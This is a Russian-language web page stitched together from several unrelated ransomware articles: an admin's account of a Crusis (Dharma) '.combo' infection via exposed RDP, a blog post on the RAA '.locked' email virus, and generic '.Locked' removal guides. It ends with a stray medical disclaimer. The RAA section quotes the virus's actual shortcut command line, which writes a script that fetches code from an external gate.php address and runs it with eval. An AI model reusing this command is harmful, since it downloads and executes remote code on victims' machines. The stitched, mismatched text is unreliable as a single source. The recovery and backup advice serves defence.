После вируса все lock


Продолжаю печально известную рубрику на своем сайте очередной историей, в которой я сам оказался пострадавшим. Я расскажу о вирусе-вымогателе шифровальщике Crusis (Dharma), который зашифровал все файлы на сетевом диске и поставил им расширение .combo. Поработал он не только над локальными файлами, как бывает чаще всего, но и над сетевыми.

Введение

История будет от первого лица, так как пострадали от шифровальщика данные и инфраструктура, которой я управлял. Как не прискорбно в этом признаваться, но частично я сам виноват в том, что произошло, хотя знаком с шифровальщиками очень давно. В свое оправдание скажу, что данные потеряны не были, все было быстро восстановлено и расследовано по горячим следам. Но обо всем по порядку.

Нескучное утро началась с того, что в 9:15 системный администратор с одного удаленного объекта позвонил и сказал, что в сети шифровальщик, уже зашифрованы данные на сетевых дисках. Холодок пробежал по коже :) Он начал своими силами проверять источник заражения, а я своими. Конечно же, я сразу пошел на сервер, отключил сетевые диски и стал смотреть лог обращений к данным. Сетевые диски настроены на samba, обязательно включено логирование файловых операций. По логу сразу увидел источник заражения, учетную запись, от которой работал шифровальщик, и время начала шифрования.

Описание вируса шифровальщика Crusis (Dharma)

Дальше началось расследование. Зашифрованные файлы получили расширение .combo. Их было очень много. Шифровальщик начал работать поздно вечером, примерно в 23 часа. Повезло — бэкап пострадавших дисков как раз был завершен к этому времени. Данные потеряны не были вообще, так как успели забэкапиться в конце рабочего дня. Я сразу же начал восстановление из бэкапа, который лежит на отдельном сервере без доступа по smb.

За ночь вирус успел зашифровать примерно 400 Гб данных на сетевых дисках. Банальное удаление всех зашифрованных файлов с расширением combo заняло продолжительное время. Я сначала хотел удалить их все разом, но когда только подсчет этих файлов длился уже 15 минут, я понял, что дело бесполезное в данный момент времени. Вместо этого стал накатывать актуальные данные, а почистил диски от зашифрованных файлов уже после.

После того, как запустил восстановление зашифрованных файлов, появилось время спокойно разобраться в ситуации и повнимательнее посмотреть на вирус-шифровальщик Crusis (Dharma). Тут меня ждали сюрпризы и удивления. Источником заражения стала виртуальная машина с Windows 7 с проброшенным rdp портом через резервный канал. Порт был не стандартный — 33333. Думаю, это была основная ошибка, использовать такой порт. Он хоть и не стандартный, но очень популярный. Конечно, лучше вообще не пробрасывать rdp, но в данном случае это было действительно необходимо. К слову, сейчас, вместо этой виртуалки, используется тоже виртуальная машина с CentOS 7, у нее в докере запущен контейнер с xfce и браузером. Ну и доступов у этой виртуалки никуда нет, только куда нужно.

Что пугает во всей этой истории. Виртуальная машина была с обновлениями. Шифровальщик начал работу в конце августа. Когда было сделано заражение машины, точно уже не установить. Вирус много чего подтер в самой виртуалке. Обновления на эту систему ставились в мае. То есть каких-то старых открытых дырок на ней быть не должно. Я теперь вообще не знаю, как оставлять rdp порт доступным из интернета. Слишком много кейсов, где это действительно нужно. Например, терминальный сервер на арендованном железе. Не будешь же к каждому серверу арендовать еще и шлюз для vpn.

Теперь ближе к делу и самому шифровальщику. У виртуальной машины был отключен сетевой интерфейс, после этого запустил ее. Меня встретила стандартная табличка, какую я уже много раз видел у других шифровальщиков.

На рабочем столе были 2 текстовых файла с именами FILES ENCRYPTED.TXT следующего содержания:

Любопытно, что изменились права на директорию Рабочий стол. У пользователя не было прав на запись. Видимо, вирус сделал это, чтобы пользователь случайно не удалил информацию в текстовых файлах с рабочего стола. Там же на рабочем столе была директория troy, в которой был сам вирус — файл l20VHC_playload.exe.

Как вирус вымогатель Crusis (Dharma) шифрует файлы

Спокойно во всем разобравшись и почитав похожие обращения на тему шифровальщиков в интернете, я узнал, что словил разновидность известного вируса-шифровальщика Crusis (Dharma). Касперский его детектит как Trojan-Ransom.Win32.Crusis.to. Он ставит разные расширения к файлам, в том числе и .combo. У меня список файлов выглядел примерно вот так:

  • Ванино.docx.id-24EE2FBC.[supportdata@cock.li].combo
  • Петропавловск-Камчатский.docx.id-24EE2FBC.[supportdata@cock.li].combo
  • Хороль.docx.id-24EE2FBC.[supportdata@cock.li].combo
  • Якутск.docx.id-24EE2FBC.[supportdata@cock.li].combo

Расскажу еще некоторые подробности о том, как шифровальщик поработал. Я не упомянул важную вещь. Данный компьютер был в домене. Шифрование файлов было выполнено от доменного пользователя. Вот тут возникает вопрос, откуда вирус его взял. На логах контроллеров доменов я не увидел информации и подборе пароля пользователя. Не было массы неудачных авторизаций. Либо использовалась какая-то уязвимость, либо я не знаю, что и думать. Использована учетная запись, которая никогда не логинилась в данную систему. Была авторизация по rdp от учетной записи доменного пользователя, а затем шифрование. На самой системе тоже не было видно следов перебора пользователей и паролей. Практически сразу был логин по rdp доменной учеткой. Нужно было подобрать, как минимум, не только пароль, но и имя.

К сожалению, на учетной записи был пароль 123456. Это была единственная учетная запись с таким паролем, которую пропустили админы на местах. Человеческий фактор. Это был руководитель и по какой-то причине целая череда системных администраторов знали про этот пароль, но не меняли его. Очевидно, в этом причина использования именно этой учетной записи. Но тем не менее, остается неизвестен механизм получения даже такого простого пароля и имени пользователя.

Зараженную шифровальщиком виртуальную машину я выключил и удалил, предварительно забрав образ диска. Из образа забрал сам вирус, чтобы посмотреть на его работу. Дальнейший рассказ будет уже на основе запуска вируса в виртуальной машине.

Еще небольшая подробность. Вирус просканировал всю локальную сеть и попутно зашифровал информацию на тех компьютерах, где были какие-то расшаренные папки с доступом для всех. Я первый раз видел такую модификацию шифровальщика. Это действительно страшная вещь. Такой вирус может просто парализовать работу всей организации. Допустим, по какой-то причине, у вас был доступ по сети к самим бэкапам. Или использовали какой-то ненадежный пароль для учетной записи. Может так получиться, что будет зашифровано все — и данные, и архивные копии. Я вообще теперь подумываю о хранении бэкапов не только в изолированной сетевой среде, но вообще на выключенном оборудовании, которое запускается только для того, чтобы сделать бэкап.

Как лечить компьютер и удалить вымогатель Crusis (Dharma)

В моем случае вирус шифровальщик Crusis (Dharma) особо не прятался и удалить его не должно составить каких-то проблем. Как я уже сказал, он лежал в папке на рабочем столе. Помимо этого он записал сам себя и информационное сообщение в автозапуск.

Само тело вируса было продублировано в пуске в разделе Startup у всех пользователей и в windows/system32. Более внимательно я не смотрел, так как не вижу в этом смысла. После заражения шифровальщиком я настоятельно рекомендую переустановить систему. Это единственный способ гарантированно удалить вирус. Вы никогда не будете полностью уверены в том, что вирус удален, так как он мог использовать какие-то еще неопубликованные и неизвестные уязвимости для того, чтобы оставить закладку в системе. Через некоторое время через эту закладу вы можете получить какой-то новый вирус и все повторится по кругу.

Так что я рекомендую сразу же после обнаружения шифровальщика не заниматься лечением компьютера, а переустанавливать систему, сохранив оставшиеся данные. Возможно, вирус успел не все зашифровать. Эти рекомендации относятся к тем, кто не собирается пытаться восстановить файлы. Если у вас есть актуальные бэкапы, то просто переустанавливайте систему и восстанавливайте данные.

Если у вас нет бэкапов и вы любой ценой готовы восстановить файлы, то тогда компьютер стараемся не трогать вообще. Первым делом просто отключите сетевой кабель, скачайте пару зашифрованных файлов и текстовый файл с информацией на чистую флешку, дальше завершаем работу компьютера. Больше компьютер включать нельзя. Если вы вообще не разбираетесь в компьютерных делах, то с вирусом вы справиться сами не сможете, тем более расшифровать или восстановить файлы. Обратитесь к тому, кто разбирается. Если же вы считаете, что что-то сможете сделать сами, то читайте дальше.

Где скачать дешифратор Crusis (Dharma)

Прикрепляем 2 файла и вставляем содержимое информационного обращения шифровальщика и жмем Проверить.

Если вам повезет, получите какую-то информацию. В моем случае ничего не нашлось.

Искать где-то еще дешифраторы через поиск в интернете, я думаю, не стоит. Вряд ли они найдутся. Скорее всего это будет либо обычный развод с мусорным софтом в лучшем случае, либо новый вирус.

Как расшифровать и восстановить файлы после вируса Crusis (Dharma)

Что же делать, когда вирус Crusis (Dharma) зашифровал ваши файлы, никакие описанные ранее способы не помогли, а файлы восстановить очень нужно? Техническая реализация шифрования не позволяет выполнить расшифровку файлов без ключа или дешифратора, который есть только у автора шифровальщика. Может быть есть какой-то еще способ его получить, но у меня нет такой информации. Нам остается только попытаться восстановить файлы подручными способами. К таким относится:

  • Инструмент теневых копий windows.
  • Программы по восстановлению удаленных данных

Перед дальнейшими манипуляциями я рекомендую сделать посекторный образ диска. Это позволит зафиксировать текущее состояние и если ничего не получится, то хотя бы можно будет вернуться в исходную точку и попробовать что-то еще. Дальше нужно удалить самого шифровальщика любым антивирусом с последним набором антивирусных баз. Подойдет CureIt или Kaspersky Virus Removal Tool. Можно любой другой антивирус установить в режиме триал. Этого хватит для удаления вируса.

После этого загружаемся в зараженной системе и проверим, включены ли у нас теневые копии. Этот инструмент по-умолчанию работает в windows 7 и выше, если вы его не отключили вручную. Для проверки открываем свойства компьютера и переходим в раздел защита системы.

Если вы во время заражения не подтвердили запрос UAC на удаление файлов в теневых копиях, то какие-то данные у вас там должны остаться. Для удобного восстановления файлов из теневых копий предлагаю воспользоваться бесплатной программой для этого — ShadowExplorer. Скачивайте архив, распаковывайте программу и запускайте.

Откроется последняя копия файлов и корень диска C. В левом верхнем углу можно выбрать резервную копию, если у вас их несколько. Проверьте разные копии на наличие нужных файлов. Сравните по датам, где более свежая версия. В моем примере ниже я нашел 2 файла на рабочем столе трехмесячной давности, когда они последний раз редактировались.

Мне удалось восстановить эти файлы. Для этого я их выбрал, нажал правой кнопкой мыши, выбрал Export и указал папку, куда их восстановить.

Вы можете восстанавливать сразу папки по такому же принципу. Если у вас работали теневые копии и вы их не удаляли, у вас достаточно много шансов восстановить все, или почти все файлы, зашифрованные вирусом. Возможно, какие-то из них будут более старой версии, чем хотелось бы, но тем не менее, это лучше, чем ничего.

Если по какой-то причине у вас нет теневых копий файлов, остается единственный шанс получить хоть что-то из зашифрованных файлов — восстановить их с помощью средств восстановления удаленных файлов. Для этого предлагаю воспользоваться бесплатной программой Photorec.

Запускайте программу и выбирайте диск, на котором будете восстанавливать файлы. Запуск графической версии программы выполняет файл qphotorec_win.exe. Необходимо выбрать папку, куда будут помещаться найденные файлы. Лучше, если эта папка будет располагаться не на том же диске, где мы осуществляем поиск. Подключите флешку или внешний жесткий диск для этого.

Процесс поиска будет длиться долго. В конце вы увидите статистику. Теперь можно идти в указанную ранее папку и смотреть, что там найдено. Файлов будет скорее всего много и большая часть из них будут либо повреждены, либо это будут какие-то системные и бесполезные файлы. Но тем не менее, в этом списке можно будет найти и часть полезных файлов. Тут уже никаких гарантий нет, что найдете, то и найдете. Лучше всего, обычно, восстанавливаются изображения.

Если результат вас не удовлетворит, то есть еще программы для восстановления удаленных файлов. Ниже список программ, которые я обычно использую, когда нужно восстановить максимальное количество файлов:

  • R.saver
  • Starus File Recovery
  • JPEG Recovery Pro
  • Active File Recovery Professional

Программы эти не бесплатные, поэтому я не буду приводить ссылок. При большом желании, вы сможете их сами найти в интернете.

Весь процесс восстановления файлов с помощью перечисленных программ подробно показан в видео в самом конце статьи.

Касперский, eset nod32 и другие в борьбе с шифровальщиком Crusis (Dharma)

Как обычно, прошелся по форумам популярных антивирусов в поисках информации о шифровальщике, который ставит расширение .combo. Явно заметна тенденция на распространение вируса. Очень много запросов начинаются с середины августа. Сейчас вроде не видно их, но, возможно временно, либо просто изменилось расширение зашифрованных файлов.

Вот пример типичного обращения с форума Касперского.

Там же ниже комментарий модератора.

На форуме EsetNod32 давно знакомы с вирусом, который ставит расширение .combo. Как я понял, вирус не уникальный и не новый, а разновидность давно известной серии вирусов Crusis (Dharma). Вот типичное обращение с просьбой расшифровать данные:

А вот опыт одного из пользователей, который заплатил злоумышленникам и восстановил свои файлы.

Обратил внимание, что на форуме Eset много отзывов о том, что вирус проник на сервер через rdp. Похоже, это реально сильная угроза и оставлять rdp без прикрытия нельзя. Возникает только вопрос — как же все таки вирус заходит по rdp. Подбирает пароль, подключается уже с известным пользователем и паролем, либо как-то еще.

Куда обратиться за гарантированной расшифровкой

  1. Специалист компании подъезжает к вам в офис или на дом, и подписывает с вами договор, в котором фиксирует стоимость работ.
  2. Запускает дешифратор у себя на компьютере и расшифровывает некоторые файлы.
  3. Вы убеждаетесь в том, что все файлы открываются, и подписываете акт сдачи/приемки выполненных работ, получаете дешифратор.
  4. Расшифровываете свои файлы и оформляете остальные документы.

Вы ничем не рискуете. Оплата только после демонстрации работы дешифратора. Просьба написать отзыв об опыте взаимодействия с этой компанией.

Методы защиты от вируса-шифровальщика

Я не буду перечислять очевидные вещи на тему запуска неизвестных программ из интернета и открытие вложений в почте. Это сейчас все и так знают. К тому же я об этом писал много раз в своих статья в разделе про вирусы. Обращу внимание на бэкапы. Они должны не просто быть, а быть недоступны извне. Если это какой-то сетевой диск, то доступ к нему должен быть у отдельной учетной записи со стойким паролем.

Если бэкапите личные файлы на флешку или внешний диск, не держите их постоянно подключенными к системе. После создания архивных копий, отключайте устройства от компьютера. Идеальным я вижу бэкап на отдельное устройство, которое включается только чтобы сделать бэкап, а потом снова отключается физически от сети отключением сетевого провода или просто завершением работы.

Резервные копии должны быть инкрементными. Это нужно для того, чтобы избежать ситуации, когда шифровальщик зашифровал все данные, а вы этого не заметили. Было выполнено резервное копирование, которое заменило старые файлы новыми, но уже зашифрованными. В итоге архив у вас есть, но толку от него никакого нет. Нужно иметь глубину архива хотя бы в несколько дней. Я думаю, в будущем появятся, если еще не появились, шифровальщики, которые будут незаметно шифровать часть данных и ждать какое-то время, не показывая себя. Сделано это будет в расчете на то, что зашифрованные файлы попадут в архивы и там со временем заменять настоящие файлы.

Это будет тяжелое время для корпоративного сектора. Я выше уже привел пример с форума eset, где зашифровали сетевые диски с 20Тб данных. А теперь представьте, что у вас такой сетевой диск, но зашифровано только 500G данных в каталогах, к которым не обращаются постоянно. Проходит пару недель, никто не замечает зашифрованных файлов, потому что они лежат в архивных каталогах, и с ними постоянно не работают. Но в конце отчетного периода данные нужны. Туда заходят и видят, что все зашифровано. Обращаются в архив, а там глубина хранения, допустим, 7 дней. И на этом все, данные пропали.

Тут нужен отдельный внимательный подход к архивам. Нужно программное обеспечения и ресурсы для долгосрочного хранения данных.

Видео c расшифровкой и восстановлением файлов

Здесь пример похожей модификации вируса, но видео полностью актуально и для combo.

Все, чем занимаюсь на работе: компьютеры, автоматизация, контроллеры, программирование и т.д.

вторник, 2 августа 2016 г.

Коротко:
Вирус-шифровальщик файлов RAA распространяется через почту, шифрует
.doc, .xls, .rtf, .pdf, .zip, .jpg, базы 1С и другие файлы. К зашифрованным файлам вирус добавляет расширение .locked.
Для расшифровки файлов требует денег. Расшифровать файлы самостоятельно можно самому с помощью этих действий.

Подробно:
Пришло сотруднику на почту письмо, в письме был вложен якобы вордовский документ "Для партнеров ТЕНДЕР.doc.lnk". Кстати, названия документов меняются, вирусопускатели используют для них разные имена.

По расширению *.lnk для мало-мальски грамотного человека сразу очевидно, что это ярлык, а не вордовский документ для тендера и открывать оное на своем компьютере чревато.

Но на такое фуфло часто ведутся невежи, как следствие- после "открытия документа" запускается процесс шифрования документов форматов .doc, .xls, .rtf, .pdf, .zip, .jpg, базы 1С и других. К зашифрованным файлам добавляется расширение .locked.
Просто удалить расширение *.locked и нормально открыть зашифрованные файлы в ворде и экселе, например, невозможно- показывает белиберду. Файлы нужно сначала расшифровать.

Для шифрования вирус подключается по интернету к некоемому сайту и шифрует документы по алгоритму, указанному в свойствах ярлыка. Вот командная строка в этом "ярлыке-вирусе":
%windir%\system32\cmd.exe /c REM.>op.js&echo var w=["Msxml2.ServerXMLHTTP.6.0","GET","http://say-helloworld.com/src/gate.php?a","open","send","responseText"];var pp= new ActiveXObject(w[0]);pp[w[3]](w[1],w[2],false);pp[w[4]]();eval(pp[w[5]]);>op.js&op.js


После шифрования вирус создает на рабочем столе документ ". README. qUhkZ.rtf" с таким содержанием:

Важно (1).
Не пытайтесь подобрать ключ, это бесполезно, и может уничтожить ваши данные окончательно.

Важно (3).
Мы НЕ МОЖЕМ хранить ваши ключи вечно. Все ключи , за которые не было выплачено вознаграждение, удаляются в течение недели с момента заражения .

README файлы расположены в корне каждого диска.

Интересно, что твари не лишены эстетических чувств- раскрасили текст-попрошайку цветными карандашами.

Еще умилил пункт 5: Предпринять меры по предотвращению подобных ситуаций в дальнейшем. Как благородно, ми-ми-ми-ми. Понятно, что подсознательно пареньки понимают, что занимаются нехорошими делами и как бы перекладывают вину на пострадавшего, мол, "ты сам дурак, будь впредь внимателен, а нам скажи спасибо за науку и вообще, не мы такие а жизнь такая".

Но пареньки-вирусописатели пусть тут не обольщаются: своими деяниями они активно минусуют себе карму. И не сейчас, но через 2-3 года, когда запас прочности истощится, награда таки найдет своих героев.

И тогда один из них попадет в поле зрения органов и отправится тренировать дряблую мускулатуру на лесоповалах Мордовии в компании с брутальными почитателями творчества Ивана Кучина, с которыми будет страшно мыться в душе. А другого во время кутежа с ворованными денежками на Цейлоне поймают в рабство тигры освобождения Тамил-Илама и заставят батрачить на выращивании риса с пытками отсутствия интернета и другими противоестественными действиями, о которых не при дамах. Может быть тогда пареньки задумаются, что нужно было не красть чужое, а податься в скрипачи, как советовал дядя Изя. Но это будет потом, а пока парни считают, что поймали бога за бороду и надоят счастья у простофиль.

Программа rakhnidecryptor подобрала ключ за 23 часа работы(ПК с cpu athlon x2 240, ddr2 2 Gb) и благополучно расшифровала файлы *.locked
С чем и поздравляю вымогателей:


UPD1
Судя по камментам, иногда с помощью указанной процедуры не удается расшифровать файлы. Ну не знаю, у меня все получилось. Могу только посоветовать точно выполнять инструкции: отключить ПК от интернета, вылечить вирус, запустить дешифровщик.

UPD2
У кого получилось расшифровать, напишите в камментах. А то создается впечатление, что только я нормально дешифровал.

Какие особенности вы должны знать о .Locked вирусе?

.Locked вирус это вирус вымогатель, который попадает в компьютер и шифрует персональные данные. Затем вы сталкиваетесь с дилеммой – платить выкуп или попрощаться с зашифрованной информацией. Если вы столкнулись с этим, первое что вы должны сделать — это удалить .Locked вирус. Вы можете прочитать инструкции по удалению ниже.

Этот вирус вымогатель очень похожий на такие угрозы как, Locky virus, .locky extension virus, TeslaCrypt, Cerber, и KeRanger. Тем не менее, существуют небольшие различия между старой и новой версией вымогателя. .Locked использует AES-256 алгоритм шифрования вопреки алгоритмам — RSA-2048 и AES-128 которые использует, например Locky. Вымогатель требует 500 USD, что эквивалентно 1,22 биткойнам, в отличие от обычно требуемой суммы в размере $400. Кроме того, если вы не спешите платить выкуп, в определенный период времени выкуп удваивается. Если вы решили заплатить кибер-преступникам, нажав на кнопку “Оплатить”, .Locked угроза показывает вам подробные инструкции по оплате. После этого, вы должны загрузить специальное программное обеспечение и приватный ключ дешифрования. Тем не менее, мы не рекомендуем делать это, так как нет гарантии что это сработает, после того как вы завершите финальную транзакцию. Вы можете потерять личную информацию и ваши деньги, после оплаты. Поэтому, вы должны думать о удалении .Locked вируса, а не действовать на поводу у преступников. Для этого, мы рекомендуем использовать Reimage Reimage Cleaner Intego .

Говоря о создателях вымогателей, некоторые полагаются, что тут может быть связанк некоторая известная организация под названием Anonymus. Такие подозрения возникли после появления очередного вымогателя – Anonymus. Последний вирус, как предполагается, возник тоже через эту организацию. Зная гениальные способности этих хакеров, которым удалось взломать международное правительство и частные учреждения, .Locked вирус может стать реальной угрозой. Кроме того, хакеры используют фото с маркой Anonymus, что обеспечивает большую спекуляцию.


Как .Locked вымогатель заражает компьютеры?

Как и подобные вредоносные программы, вирус просачивается через зараженные вложения. Пользователь получает ложные счета или трафики, которые содержат ZIP или Word файлы с встроенным кодом. Если жертва загружает такой файл на операционную систему, вымогатель устанавливается и шифрует важные документы, сертификаты, аккаунты, счета, и подобную информацию. Как только он заканчивает работу, он оставляет a.locked файл в зашифрованных папках. Затем на экране пользователя появляется его сообщение.

Кроме того, было замечено, что .Locked может распространяться через троян. Эта угроза обеспечивает необходимую маскировку для вымогателя. Как правило, антивирусные программы не обнаруживают трояны, так как кажется, что это легитимная программа. После того как он проходит через систему безопасности, троян устанавливает злой контент и .Locked начинает свою работу. В этой ситуации, вам нужно иметь антивирусную программу по обнаружению троянов и других вредных программ этого рода. Также, вымогатели распространяются через взломанные игры. Так что, если вы страстный геймер, остерегайтесь, так как ПНП атаки могут взломать ваш компьютер, после каждой игры серьезные вирусы могут бросить вам вызов.

Инструкция удаления .Locked:

Если вы заразились .Locked вымогателем, вы должны прийти к выводу, что ваши зашифрованные файлы могут быть потеряны. Вы можете восстановить их из резервных копий, но если вы не можете найти копии важных данных, это значит что вы не вернете эти файлы. Ручное удаление может не сработать, учитывая сложную структуру вымогателя и его алгоритм шифрования. Таким образом, у вас остается только одно решение – удалить .Locked с помощью мощной антивирусной программы, например Reimage Reimage Cleaner Intego или Malwarebytes. Наконец, важно обновлять и сканировать защитное оборудование, и наслаждаться просмотром в интернете снова. Если вы не можете запустить ни одну из выше упомянутых программ, следуйте руководству ниже:

Вирус-шифровальщик Locked — это вредоносная программа, которая при своей активизации шифрует все персональные файлы (например фотографии и документы), используя очень сильную гибридную систему шифрования AES + RSA. После того как файл зашифрован, его расширение изменяется на .locked. Как и ранее, цель вируса Locked заставить пользователей купить программу и ключ, необходимые для расшифровки собственных файлов.


По окончании процесса зашифровки файлов вирус Locked показывает сообщение аналогично выше приведенному. В нём сообщается о том, как можно расшифровать файлы. Пользователю предлагается перевести авторам вируса сумму в размере $250, что около 17000руб.

Вирус-шифровальщик Locked обычно распространяется посредством электронной почты. Письмо содержит зараженные документы. Такие письма рассылаются по огромной базе адресов электронной почты. Авторы этого вируса используют вводящие в заблуждения заголовки и содержание писем, стараясь обманом заставить пользователя открыть вложенный в письмо документ. Часть писем сообщают о необходимости оплаты счёта, другие предлагают посмотреть свежий прайс-лист, третьи открыть весёлую фотографию и т.д. В любом случае, результатом открытия прикреплённого файла будет заражение компьютера вирусом-шифровальщиком.

Вирус-шифровальщик Locked — это вредоносная программа, которая поражает современные версии операционных систем семейства Windows, такие как Windows XP, Windows Vista, Windows 7, Windows 8, Windows 10. Этот вирус использует гибридный режим шифрования AES + RSA, что практически исключает возможность подбора ключа для самостоятельной расшифровки файлов.

Во время заражения компьютера, вирус-шифровальщик Locked использует системные каталоги для хранения собственных файлов. Чтобы запускаться автоматически при каждом включении компьютера, шифровальщик создаёт запись в реестре Windows: разделах HKCU\Software\Microsoft\Windows\CurrentVersion\Run, HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce, HKCU\Software\Microsoft\Windows\CurrentVersion\Run, HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce.

Сразу после запуска вирус сканирует все доступные диски, включая сетевые и облачные хранилища, для определения файлов которые будут зашифрованы. Вирус-шифровальщик Locked использует расширение имени файла, как способ определения группы файлов, которые будут подвергнуты зашифровке. Шифруются практически все виды файлов, включая такие распространенные как:

После того как файл зашифрован его расширение изменяется на locked. Затем вирус создаёт текстовой документ с именем UNLOCK_FILES_INSTRUCTIONS.txt, который содержит инструкцию по расшифровке зашифрованных файлов.

Вирус-шифровальщик Locked активно использует тактику запугивания, давая жертве краткое описание алгоритма шифрования и показывая угрожающее сообщение на Рабочем столе. Он пытается таким образом заставить пользователя зараженного компьютера, не раздумывая, оплатить выкуп, для попытки вернуть свои файлы.

Определить заражён компьютер или нет вирусом Locked довольно легко. Обратите внимание на то, что все ваши персональные файлы, таких как документы, фотографии, музыка и т.д. нормально открываются в соответствующих программах. Если, например при открытии документа, Word сообщает, что файл неизвестного типа, то вероятнее всего документ зашифрован, а компьютер заражён. Конечно же, наличие на Рабочем столе сообщения от вируса Locked или появление на диске файла UNLOCK_FILES_INSTRUCTIONS.txt, так же является признаком заражения.

Если вы подозреваете, что открыли письмо зараженное вирусом Locked, но симптомов заражения пока нет, то не выключайте и не перезагружайте компьютер. Первым делом отключите Интернет! После чего выполните шаги описанные в этой инструкции, раздел Как удалить Вирус-шифровальщик Locked. Другой вариант, выключить компьютер, вытащить жёсткий диск и проверить его на другом компьютере.

Если эта беда случилась, то не нужно паниковать! Но нужно знать, что бесплатного расшифровщика нет. Виной этому, стойкие алгоритмы шифрования, используемые этим вирусом. Это значит без личного ключа расшифровать файлы практически невозможно. Использовать метод подбора ключа так же не выход, из-за большой длины ключа. Поэтому, к сожалению, только оплата авторам вируса всей запрошенной суммы — единственный способ попытаться получить ключ расшифровки.

Конечно, нет абсолютно никакой гарантии, что после оплаты авторы вируса выйдут на связь и предоставят ключ необходимый для расшифровки ваших файлы. Кроме этого нужно понимать, что платя деньги разработчикам вирусов, вы сами подталкиваете их на создание новых вирусов.

Перед тем как приступить к этому, вам необходимо знать, что приступая к удалению вируса и попытке самостоятельного восстановления файлов, вы блокируете возможность расшифровать файлы заплатив авторам вируса запрошенную ими сумму.

Kaspersky Virus Removal Tool и Malwarebytes Anti-malware могут обнаруживать разные типы активных вирусов-шифровальщиков и легко удалят их с компьютера, НО они не могут восстановить зашифрованные файлы.

Скачайте программу Kaspersky Virus Removal Tool. После окончания загрузки запустите скачанный файл.


Кликните по кнопке Начать проверку для запуска сканирования вашего компьютера на наличие вируса-шифровальщика.


Дождитесь окончания этого процесса и удалите найденных зловредов.

Скачайте программу Malwarebytes Anti-malware. После окончания загрузки запустите скачанный файл.


Кликните по кнопке Далее и следуйте указаниям программы. После окончания установки вы увидите основной экран программы.


Автоматически запуститься процедура обновления программы. Когда она закончиться нажмите кнопку Запустить проверку. Malwarebytes Anti-malware начнёт проверку вашего компьютера.


Сразу после окончания проверки компьютера программа Malwarebytes Anti-malware откроет список найденных компонентов вируса-шифровальщика.


Кликните по кнопке Удалить выбранное для очистки вашего компьютера. Во время удаления вредоносных программ, Malwarebytes Anti-malware может потребовать перезагрузить компьютер для продолжения процесса. Подтвердите это, выбрав Да.

После того как компьютер запуститься снова, Malwarebytes Anti-malware автоматически продолжит процесс лечения.

В некоторых случая можно восстановить файлы зашифрованные вирусом-шифровальщиком . Попробуйте оба метода.

ShadowExplorer — это небольшая утилита позволяющая восстанавливать теневые копии файлов, которые создаются автоматически операционной системой Windows (7-10). Это позволит вам восстановить исходное состояние зашифрованных файлов.

Скачайте программу ShadowExplorer. Программа находиться в zip архиве. Поэтому кликните по скачанному файлу правой клавишей и выберите пункт Извлечь все. Затем откройте папку ShadowExplorerPortable.


Запустите ShadowExplorer. Выберите нужный вам диск и дату создания теневых копий, соответственно цифра 1 и 2 на рисунке ниже.


Кликните правой клавишей мыши по каталогу или файлу, копию которого вы хотите восстановить. В появившемся меню выберите Export.


И последнее, выберите папку в которую будет скопирован восстановленный файл.

PhotoRec это бесплатная программа, созданная для восстановления удалённых и потерянных файлов. Используя её, можно восстановить исходные файлы, которые вирусы-шифровальщики удалили после создания их зашифрованных копий.

Скачайте программу PhotoRec. Программа находиться в архиве. Поэтому кликните по скачанному файлу правой клавишей и выберите пункт Извлечь все. Затем откройте папку testdisk.


В списке файлов найдите QPhotoRec_Win и запустите её. Откроется окно программы в котором будут показаны все разделы доступных дисков.


В списке разделов выберите тот, на котором находятся зашифрованные файлы. После чего кликните по кнопке File Formats.


По-умолчанию программа настроена на восстановление всех типов файлов, но для ускорения работы рекомендуется оставить только типы файлов, которые вам нужно восстановить. Завершив выбор нажмите кнопку OK.

В нижней части окна программы QPhotoRec найдите кнопку Browse и нажмите её. Вам нужно выбрать каталог в который будут сохранены восстановленные файлы. Желательно использовать диск на котором не находятся зашифрованные файлы требующие восстановления (можете использовать флешку или внешний диск).

Для запуска процедуры поиска и восстановления исходных копий зашифрованных файлов нажмите кнопку Search. Этот процесс длится довольно долго, так что наберитесь терпения.


Когда поиск будет окончен, нажмите кнопку Quit. Теперь откройте папку, которую вы выбрали для сохранения восстановленных файлов.


В папке будут находиться каталоги с именами recup_dir.1, recup_dir.2, recup_dir.3 и тд. Чем больше файлов найдет программа, тем больше будет и каталогов. Для поиска нужных вам файлов, последовательно проверьте все каталоги. Для облегчения поиска нужного вам файла, среди большого количества восстановленных, используйте встроенную систему поиска Windows (по содержимому файла), а так же не забывайте о функции сортировки файлов в каталогах. В качестве параметра сортировки можно выбрать дату изменения файла, так как QPhotoRec при восстановлении файла пытается восстановить это свойство.

Большинство современных антивирусных программ уже имеют встроенную систему защиты от проникновения и активизации вирусов-шифровальщиков. Поэтому если на вашем компьютере нет антивирусной программы, то обязательно её установите. Как её выбрать можете узнать прочитав эту статью.

Более того, существуют и специализированные защитные программы. Например это CryptoPrevent, подробнее тут (eng).

Выполнив эту инструкцию ваш компьютер будет очищен от вируса-шифровальщика Locked. Если у вас появились вопросы или вам необходима помощь, то обращайтесь на наш форум.

Моё имя Валерий. Я сертифицированный специалист в области компьютерной безопасности, выявления источников угроз в ИТ инфраструктуре и анализе рисков с опытом работы более 15 лет. Рад поделиться с вами своими знаниями и опытом.

Читайте также:

Пожалуйста, не занимайтесь самолечением!
При симпотмах заболевания - обратитесь к врачу.